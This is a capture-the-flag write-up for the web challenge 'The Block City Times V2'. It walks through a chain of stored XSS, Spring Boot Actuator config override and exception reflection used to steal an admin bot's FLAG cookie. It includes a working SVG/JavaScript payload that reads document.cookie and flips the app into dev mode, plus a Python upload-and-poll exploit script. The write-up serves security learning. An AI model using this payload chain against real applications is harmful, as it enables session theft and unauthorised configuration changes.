← Back to Writeups
HTBN/AWeb

The Block City Times V2

XESXOR8/23/20266 min read
#web#htb#n/a

The Block City Times V2

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: actuator_env_override, bot_cookie_exfiltration, config_refresh_abuse, duplicate_element_exception_reflection, stored_xss_via_content_type_confusion

Summary

Task: a token-gated news site exposed a Flask launcher, Spring Boot app, editorial bot, and report-runner bot. Solution: reuse the upload-to-stored-XSS bug, switch the app into dev mode through Actuator, then reflect a duplicate-tag exception at /api/tags to execute JavaScript in the FLAG-bearing browser.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_the_block_city_times_v2
  • Tags: flask, file_upload, stored_xss, admin_bot, spring_boot, actuator, error_reflection
  • Indicators: upload validation trusts the multipart part Content-Type, uploaded files are later served with Files.probeContentType based on filename, V1 style /api/../files traversal is blocked by '..', '%', and normalized path checks, Set.of(...) is built from attacker-controlled tag lists and throws on duplicate elements, dev mode reflects exception messages in 500 responses visited by a bot with a FLAG cookie
  • Source: 20260411_umasscybersec_the_block_city_times_v2.md

Foothold

Vulnerability / Misconfiguration

  1. Actuator_env_override
  2. Bot_cookie_exfiltration
  3. Config_refresh_abuse
  4. Duplicate_element_exception_reflection
  5. Stored_xss_via_content_type_confusion
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • actuator_env_override
  • bot_cookie_exfiltration
  • config_refresh_abuse
  • duplicate_element_exception_reflection
  • stored_xss_via_content_type_confusion
  • Tags: flask, file_upload, stored_xss, admin_bot, spring_boot, actuator, error_reflection

Original Writeup

<details><summary>Click to expand original content</summary>

The Block City Times V2 — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: the public entrypoint was only a Flask wrapper that required a team CTFd token and then spawned a per-team instance. After creating a live instance first, the real target was a Spring Boot newspaper app with an editorial Puppeteer bot, a report-runner Puppeteer bot, and a dev-only reporting feature.

Analysis

The V2 source tree in v2_assets/ showed that the core upload bug from V1 still existed. In StoryController.java, /submit accepted uploads based only on MultipartFile.getContentType(), which is attacker-controlled in a multipart request. Later, /files/{filename} served the stored file using Files.probeContentType(filePath), so a file uploaded as text/plain but named story.html was accepted and then rendered as HTML when fetched.

That became stored XSS because editorial/server.js logged in as admin and automatically visited /files/<filename> after every submission. Sanitizing the launch step is important here: the public wrapper at blockcitytimesv2.web.ctf.umasscybersec.org:5000 required a private team token and created an ephemeral per-team instance, so the safe writeup wording is simply: create a live instance first.

The obvious V1 route no longer worked. ReportController.java now rejected endpoints containing .. or %, normalized the path, and required it to match ^/api/[a-zA-Z0-9/_-]+$. So the old /api/../files/<payload> trick was patched out in V2.

The new path came from combining three details:

  1. application.yml exposed env and refresh, with management.endpoint.env.post.enabled: true.
  2. AppProperties.java was under @RefreshScope, and the report feature only worked when app.active-config == dev.
  3. GlobalExceptionHandler.java returned 500 Internal Server Error: <message> in dev mode.

So the editorial-bot XSS could send:

  • POST /actuator/env with {"name":"app.active-config","value":"dev"}
  • POST /actuator/refresh

After waiting briefly, /admin exposed the dev reporting form.

The winning bug was in the tags API. TagController.index() returned articleService.allTags(). In ArticleService.java, allTags() was implemented as:

Set.of(ARTICLES.stream().flatMap(a -> a.getTags().stream()).toArray(String[]::new))

Set.of(...) throws IllegalArgumentException when duplicate elements are present. Because tags were attacker-controlled through PUT /api/tags/article/{id}, writing the same malicious tag into article 1 and article 2 made /api/tags crash with an exception whose message started with our payload.

That was exactly what we needed. In dev mode, the exception body became:

500 Internal Server Error: duplicate element: <svg/onload=...>

The beginning of the reflected body was attacker-controlled HTML. Even though this was an error page, Chromium still HTML-sniffed it and executed the SVG onload when the report-runner browser visited /api/tags.

developer/report-api.js showed the final piece: the report-runner logged in as admin, set a FLAG cookie, and then visited the chosen endpoint. That meant the duplicate-element error page was rendered inside a browser that already held the flag.

Two false starts are worth recording. Triggering JSON-oriented endpoints such as /api/config, and trying to rely on JSON rendering behavior, did not produce execution. The successful path was specifically duplicate-element exception reflection from /api/tags, not any JSON viewer trick.

Solution

  1. Create a live instance through the public Flask wrapper. Do not store or publish the private team token or the ephemeral instance host.
  2. Upload story.html to /submit, but set the multipart part Content-Type to text/plain so the allowlist accepts it.
  3. Let the editorial bot visit /files/<uploaded-name> and execute the stored XSS as admin.
  4. From that XSS, switch the app into dev mode with POST /actuator/env and POST /actuator/refresh.
  5. Wait until /admin shows the dev-only report form.
  6. Use authenticated PUT /api/tags/article/1 and PUT /api/tags/article/2 to write the exact same malicious SVG tag into both articles.
  7. Submit /admin/report with endpoint=/api/tags.
  8. The report-runner browser logs in, sets the FLAG cookie, visits /api/tags, triggers Set.of(...) duplicate-element failure, HTML-sniffs the reflected SVG payload, and executes it.
  9. The payload reads document.cookie, extracts FLAG=..., and writes it back into article 1 tags.
  10. Poll /api/tags/article/1 externally until the flag appears.

Local validation with docker compose up -d --build inside v2_assets/ reproduced the challenge correctly. A direct report-runner visit to /api/tags often ended in a timeout locally, but the SVG still executed and updated article tags with the placeholder local flag, confirming that execution happened before the browser session died.

Representative JavaScript for the working chain:

<svg/onload='(async()=>{
  const put = tags => fetch("/api/tags/article/1", {
    method: "PUT",
    credentials: "same-origin",
    headers: {"Content-Type":"application/json"},
    body: JSON.stringify(tags)
  });

  const flagCookie = document.cookie.split(/;\s*/).find(v => v.startsWith("FLAG="));
  if (flagCookie) {
    await put([decodeURIComponent(flagCookie.slice(5))]);
    return;
  }

  await fetch("/actuator/env", {
    method: "POST",
    credentials: "same-origin",
    headers: {"Content-Type":"application/json"},
    body: JSON.stringify({name:"app.active-config", value:"dev"})
  });
  await fetch("/actuator/refresh", {method:"POST", credentials:"same-origin"});

  const tag = `<svg/onload=${JSON.stringify(location.hash || "/* sanitized */")}>`;
  await fetch("/api/tags/article/1", {method:"PUT", credentials:"same-origin", headers:{"Content-Type":"application/json"}, body: JSON.stringify([tag])});
  await fetch("/api/tags/article/2", {method:"PUT", credentials:"same-origin", headers:{"Content-Type":"application/json"}, body: JSON.stringify([tag])});

  const admin = await fetch("/admin", {credentials:"same-origin"}).then(r => r.text());
  const csrf = (admin.match(/name="_csrf" value="([^"]+)"/) || [])[1];
  if (!csrf) return;

  await fetch("/admin/report", {
    method: "POST",
    credentials: "same-origin",
    headers: {"Content-Type":"application/x-www-form-urlencoded"},
    body: new URLSearchParams({_csrf: csrf, endpoint: "/api/tags"})
  });
})()'>

The only important property of the payload is that the same tag string must be written into at least two articles so Set.of(...) throws duplicate element: <svg/onload=...> when /api/tags is requested.

#!/usr/bin/env python3
import io
import re
import sys
import time
import requests

if len(sys.argv) != 3:
    print(f"usage: {sys.argv[0]} <instance_base_url> <payload_html>")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
PAYLOAD_PATH = sys.argv[2]
S = requests.Session()

with open(PAYLOAD_PATH, "rb") as f:
    payload = f.read()

resp = S.post(
    f"{BASE}/submit",
    data={
        "title": "Late breaking story",
        "author": "guest reporter",
        "description": "sanitized exploit chain"
    },
    files={
        "file": ("story.html", io.BytesIO(payload), "text/plain")
    },
    timeout=20,
)
resp.raise_for_status()
print("[+] Uploaded payload; waiting for bots")

for _ in range(90):
    time.sleep(2)
    r = S.get(f"{BASE}/api/tags/article/1", timeout=10)
    r.raise_for_status()
    m = re.search(r"UMASS\{[^}]+\}", r.text)
    if m:
        print("[+] Flag:", m.group(0))
        break
else:
    print("[-] Flag not observed yet")
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR